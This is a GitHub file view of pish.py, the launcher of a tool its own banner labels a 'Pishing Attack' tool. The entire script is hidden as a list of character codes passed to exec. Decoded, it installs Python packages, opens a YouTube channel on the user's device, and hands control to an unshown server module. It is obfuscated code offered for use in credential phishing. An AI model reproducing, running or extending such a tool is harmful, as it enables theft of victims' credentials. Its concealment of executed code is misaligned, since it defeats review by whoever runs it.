forked from Cabdulahi/pish
-
Notifications
You must be signed in to change notification settings - Fork 0
/
pish.py
2 lines (2 loc) · 13.9 KB
/
pish.py
1
2
a = [35, 33, 47, 117, 115, 114, 47, 98, 105, 110, 47, 112, 121, 116, 104, 111, 110, 13, 10, 35, 32, 99, 111, 100, 105, 110, 103, 61, 117, 116, 102, 45, 56, 13, 10, 35, 47, 47, 47, 46, 119, 114, 105, 116, 101, 110, 32, 98, 121, 32, 99, 97, 98, 100, 117, 108, 97, 104, 105, 32, 115, 104, 97, 114, 105, 102, 13, 10, 105, 109, 112, 111, 114, 116, 32, 116, 105, 109, 101, 13, 10, 105, 109, 112, 111, 114, 116, 32, 111, 115, 44, 115, 121, 115, 13, 10, 112, 114, 105, 110, 116, 39, 91, 43, 93, 67, 104, 101, 99, 107, 105, 110, 103, 32, 77, 111, 100, 117, 108, 101, 115, 39, 13, 10, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 49, 41, 13, 10, 116, 114, 121, 58, 13, 10, 32, 32, 32, 32, 105, 109, 112, 111, 114, 116, 32, 98, 115, 52, 13, 10, 101, 120, 99, 101, 112, 116, 32, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 97, 115, 32, 103, 58, 13, 10, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 112, 108, 101, 97, 115, 32, 87, 97, 105, 116, 32, 46, 46, 39, 13, 10, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 73, 110, 115, 116, 97, 108, 108, 105, 110, 103, 32, 77, 111, 100, 117, 108, 101, 39, 13, 10, 32, 32, 32, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 112, 105, 112, 32, 105, 110, 115, 116, 97, 108, 108, 32, 98, 115, 52, 39, 41, 13, 10, 32, 32, 32, 32, 101, 120, 105, 116, 40, 41, 13, 10, 116, 114, 121, 58, 13, 10, 32, 32, 32, 32, 13, 10, 32, 32, 32, 32, 105, 109, 112, 111, 114, 116, 32, 114, 101, 113, 117, 101, 115, 116, 115, 13, 10, 101, 120, 99, 101, 112, 116, 32, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 97, 115, 32, 103, 58, 13, 10, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 112, 108, 101, 97, 115, 32, 87, 97, 105, 116, 32, 46, 46, 39, 13, 10, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 73, 110, 115, 116, 97, 108, 108, 105, 110, 103, 32, 77, 111, 100, 117, 108, 101, 39, 13, 10, 32, 32, 32, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 112, 105, 112, 32, 105, 110, 115, 116, 97, 108, 108, 32, 114, 101, 113, 117, 101, 115, 116, 115, 39, 41, 13, 10, 32, 32, 32, 32, 101, 120, 105, 116, 40, 41, 13, 10, 116, 114, 121, 58, 13, 10, 32, 32, 32, 32, 13, 10, 32, 32, 32, 32, 105, 109, 112, 111, 114, 116, 32, 66, 101, 97, 117, 116, 105, 102, 117, 108, 83, 111, 117, 112, 13, 10, 101, 120, 99, 101, 112, 116, 32, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 97, 115, 32, 103, 58, 13, 10, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 112, 108, 101, 97, 115, 32, 87, 97, 105, 116, 32, 46, 46, 39, 13, 10, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 73, 110, 115, 116, 97, 108, 108, 105, 110, 103, 32, 77, 111, 100, 117, 108, 101, 39, 13, 10, 32, 32, 32, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 112, 105, 112, 32, 105, 110, 115, 116, 97, 108, 108, 32, 66, 101, 97, 117, 116, 105, 102, 117, 108, 83, 111, 117, 112, 39, 41, 13, 10, 32, 32, 32, 32, 101, 120, 105, 116, 40, 41, 13, 10, 105, 109, 112, 111, 114, 116, 32, 98, 115, 52, 44, 66, 101, 97, 117, 116, 105, 102, 117, 108, 83, 111, 117, 112, 44, 114, 101, 113, 117, 101, 115, 116, 115, 13, 10, 102, 114, 111, 109, 32, 100, 97, 116, 97, 32, 105, 109, 112, 111, 114, 116, 32, 115, 101, 114, 118, 101, 114, 32, 97, 115, 32, 115, 101, 101, 13, 10, 13, 10, 13, 10, 100, 101, 102, 32, 112, 114, 82, 101, 100, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 49, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 71, 114, 101, 101, 110, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 50, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 89, 101, 108, 108, 111, 119, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 51, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 76, 105, 103, 104, 116, 80, 117, 114, 112, 108, 101, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 52, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 80, 117, 114, 112, 108, 101, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 53, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 67, 121, 97, 110, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 54, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 76, 105, 103, 104, 116, 71, 114, 97, 121, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 55, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 100, 101, 102, 32, 112, 114, 66, 108, 97, 99, 107, 40, 115, 107, 107, 41, 58, 32, 112, 114, 105, 110, 116, 40, 34, 92, 48, 51, 51, 91, 57, 56, 109, 32, 123, 125, 92, 48, 51, 51, 91, 48, 48, 109, 34, 32, 46, 102, 111, 114, 109, 97, 116, 40, 115, 107, 107, 41, 41, 32, 13, 10, 13, 10, 103, 114, 101, 101, 110, 32, 61, 32, 39, 92, 48, 51, 51, 91, 51, 50, 59, 49, 109, 39, 13, 10, 13, 10, 103, 116, 97, 32, 61, 32, 39, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 39, 13, 10, 32, 32, 35, 47, 47, 67, 111, 108, 111, 114, 115, 32, 13, 10, 119, 104, 105, 116, 101, 32, 61, 32, 39, 92, 48, 51, 51, 91, 49, 59, 51, 55, 109, 39, 32, 35, 32, 87, 104, 105, 116, 101, 32, 13, 10, 112, 114, 114, 101, 100, 32, 61, 32, 39, 92, 48, 51, 51, 91, 51, 49, 109, 39, 32, 35, 32, 114, 101, 100, 13, 10, 111, 114, 97, 110, 103, 101, 32, 61, 32, 39, 92, 48, 51, 51, 91, 51, 51, 109, 39, 32, 35, 32, 111, 114, 97, 110, 103, 101, 13, 10, 98, 108, 117, 101, 32, 61, 32, 39, 92, 48, 51, 51, 91, 51, 52, 109, 39, 32, 35, 32, 98, 108, 117, 101, 13, 10, 112, 32, 32, 61, 32, 39, 92, 48, 51, 51, 91, 51, 53, 109, 39, 32, 35, 32, 112, 117, 114, 112, 108, 101, 13, 10, 67, 32, 32, 61, 32, 39, 92, 48, 51, 51, 91, 51, 54, 109, 39, 32, 35, 32, 99, 121, 97, 110, 13, 10, 103, 114, 101, 101, 110, 32, 61, 32, 40, 34, 92, 48, 51, 51, 91, 57, 50, 109, 34, 41, 13, 10, 112, 114, 121, 101, 108, 108, 111, 119, 32, 61, 32, 40, 34, 92, 48, 51, 51, 91, 57, 51, 109, 34, 41, 13, 10, 112, 114, 108, 105, 103, 104, 116, 61, 40, 34, 92, 48, 51, 51, 91, 57, 52, 109, 34, 41, 13, 10, 112, 114, 67, 121, 97, 110, 61, 40, 34, 92, 48, 51, 51, 91, 57, 54, 109, 34, 41, 13, 10, 112, 114, 103, 114, 97, 121, 32, 61, 32, 40, 34, 92, 48, 51, 51, 91, 57, 55, 109, 34, 41, 13, 10, 112, 114, 66, 108, 97, 99, 107, 61, 40, 34, 92, 48, 51, 51, 91, 57, 56, 109, 34, 41, 13, 10, 108, 111, 103, 111, 32, 61, 112, 114, 114, 101, 100, 43, 34, 34, 34, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 226, 150, 136, 226, 150, 128, 226, 150, 132, 32, 226, 150, 128, 32, 226, 150, 132, 226, 150, 128, 226, 150, 128, 32, 226, 150, 136, 226, 150, 145, 226, 150, 145, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 226, 150, 136, 226, 150, 145, 226, 150, 136, 32, 226, 150, 136, 32, 226, 150, 145, 226, 150, 128, 226, 150, 132, 32, 226, 150, 136, 226, 150, 128, 226, 150, 132, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 226, 150, 136, 226, 150, 128, 226, 150, 145, 32, 226, 150, 128, 32, 226, 150, 128, 226, 150, 128, 226, 150, 145, 32, 226, 150, 128, 226, 150, 145, 226, 150, 128, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 226, 150, 133, 226, 150, 134, 226, 150, 135, 226, 150, 136, 226, 150, 136, 226, 150, 136, 226, 150, 136, 226, 150, 136, 226, 150, 135, 226, 150, 134, 226, 150, 133, 34, 34, 34, 43, 119, 104, 105, 116, 101, 43, 34, 34, 34, 13, 10, 32, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 13, 10, 32, 226, 150, 136, 36, 32, 99, 97, 116, 32, 82, 69, 65, 68, 77, 69, 46, 116, 120, 116, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 13, 10, 32, 226, 150, 136, 117, 115, 101, 32, 116, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 97, 116, 32, 121, 111, 117, 114, 32, 111, 119, 110, 32, 114, 105, 115, 107, 13, 10, 32, 226, 150, 136, 36, 32, 99, 97, 116, 32, 108, 105, 115, 116, 101, 110, 77, 101, 46, 116, 120, 116, 13, 10, 32, 226, 150, 136, 71, 105, 116, 104, 117, 98, 32, 58, 32, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 67, 97, 98, 100, 117, 108, 97, 104, 105, 13, 10, 32, 226, 150, 136, 84, 111, 111, 108, 32, 84, 121, 112, 101, 32, 58, 32, 80, 105, 115, 104, 105, 110, 103, 32, 65, 116, 116, 97, 99, 107, 13, 10, 32, 226, 150, 136, 89, 111, 117, 84, 117, 98, 101, 32, 67, 104, 97, 110, 110, 101, 108, 32, 58, 83, 111, 109, 97, 108, 105, 32, 52, 89, 111, 117, 32, 32, 32, 13, 10, 32, 226, 150, 136, 70, 97, 99, 101, 98, 111, 111, 107, 32, 58, 32, 99, 97, 98, 100, 117, 108, 97, 104, 105, 46, 115, 104, 97, 114, 105, 102, 46, 49, 48, 48, 13, 10, 32, 226, 150, 136, 36, 32, 112, 121, 116, 104, 111, 110, 50, 32, 112, 105, 115, 104, 46, 112, 121, 13, 10, 32, 226, 150, 136, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 132, 226, 150, 136, 13, 10, 34, 34, 34, 13, 10, 13, 10, 102, 111, 108, 32, 61, 32, 34, 34, 34, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 226, 151, 143, 226, 150, 172, 226, 150, 172, 226, 150, 172, 226, 150, 172, 224, 185, 145, 91, 80, 105, 115, 104, 93, 224, 185, 145, 226, 150, 172, 226, 150, 172, 226, 150, 172, 226, 150, 172, 226, 150, 172, 226, 151, 143, 34, 34, 34, 13, 10, 102, 111, 108, 50, 32, 61, 32, 34, 34, 34, 32, 32, 32, 32, 226, 151, 143, 226, 150, 172, 226, 150, 172, 226, 150, 172, 224, 185, 145, 91, 67, 114, 101, 97, 116, 101, 100, 32, 66, 121, 32, 58, 32, 67, 97, 98, 100, 117, 108, 97, 104, 105, 224, 185, 145, 226, 150, 172, 226, 150, 172, 226, 151, 143, 34, 34, 34, 13, 10, 99, 108, 97, 115, 115, 32, 99, 97, 100, 111, 119, 120, 58, 13, 10, 32, 32, 100, 101, 102, 32, 95, 95, 105, 110, 105, 116, 95, 95, 40, 115, 101, 108, 102, 41, 58, 13, 10, 32, 32, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 108, 111, 103, 111, 13, 10, 32, 32, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 112, 114, 114, 101, 100, 43, 102, 111, 108, 43, 39, 92, 110, 39, 43, 102, 111, 108, 50, 13, 10, 32, 32, 32, 32, 32, 32, 112, 114, 105, 110, 116, 13, 10, 32, 32, 32, 32, 32, 32, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 49, 46, 53, 41, 13, 10, 32, 32, 32, 32, 32, 32, 116, 114, 121, 58, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 111, 115, 46, 115, 121, 115, 116, 101, 109, 40, 39, 116, 101, 114, 109, 117, 120, 45, 111, 112, 101, 110, 45, 117, 114, 108, 32, 104, 116, 116, 112, 115, 58, 47, 47, 109, 46, 121, 111, 117, 116, 117, 98, 101, 46, 99, 111, 109, 47, 99, 104, 97, 110, 110, 101, 108, 47, 85, 67, 89, 77, 90, 76, 104, 55, 65, 54, 106, 73, 97, 68, 115, 79, 76, 72, 86, 120, 51, 114, 98, 119, 39, 41, 13, 10, 32, 32, 32, 32, 32, 32, 101, 120, 99, 101, 112, 116, 32, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 97, 115, 32, 107, 58, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 39, 91, 43, 93, 80, 108, 101, 97, 115, 32, 117, 115, 101, 32, 116, 101, 114, 109, 117, 120, 32, 97, 112, 112, 39, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 107, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 40, 41, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 13, 10, 32, 32, 32, 32, 32, 32, 115, 101, 108, 102, 46, 109, 101, 101, 40, 41, 13, 10, 32, 32, 32, 32, 32, 32, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 13, 10, 32, 32, 32, 32, 32, 32, 13, 10, 32, 32, 100, 101, 102, 32, 109, 101, 101, 40, 115, 101, 108, 102, 41, 58, 13, 10, 32, 32, 32, 32, 32, 32, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 49, 41, 13, 10, 32, 32, 32, 32, 32, 32, 116, 114, 121, 58, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 115, 101, 101, 46, 104, 111, 109, 101, 40, 41, 13, 10, 32, 32, 32, 32, 32, 32, 101, 120, 99, 101, 112, 116, 32, 69, 120, 99, 101, 112, 116, 105, 111, 110, 32, 97, 115, 32, 103, 58, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 112, 114, 105, 110, 116, 32, 103, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 13, 10, 32, 32, 100, 101, 102, 32, 115, 40, 115, 101, 108, 102, 44, 111, 41, 58, 13, 10, 32, 32, 32, 32, 32, 32, 116, 61, 32, 91, 39, 46, 39, 44, 39, 46, 46, 39, 44, 39, 43, 39, 93, 13, 10, 32, 32, 32, 32, 32, 32, 102, 111, 114, 32, 111, 32, 105, 110, 32, 116, 58, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 104, 32, 61, 32, 111, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 13, 10, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 13, 10, 105, 102, 32, 95, 95, 110, 97, 109, 101, 95, 95, 32, 61, 61, 32, 34, 95, 95, 109, 97, 105, 110, 95, 95, 34, 58, 13, 10, 32, 32, 32, 32, 99, 97, 100, 111, 119, 120, 40, 41, 32, 32, 32, 32]
exec"".join([ chr(i) for i in a])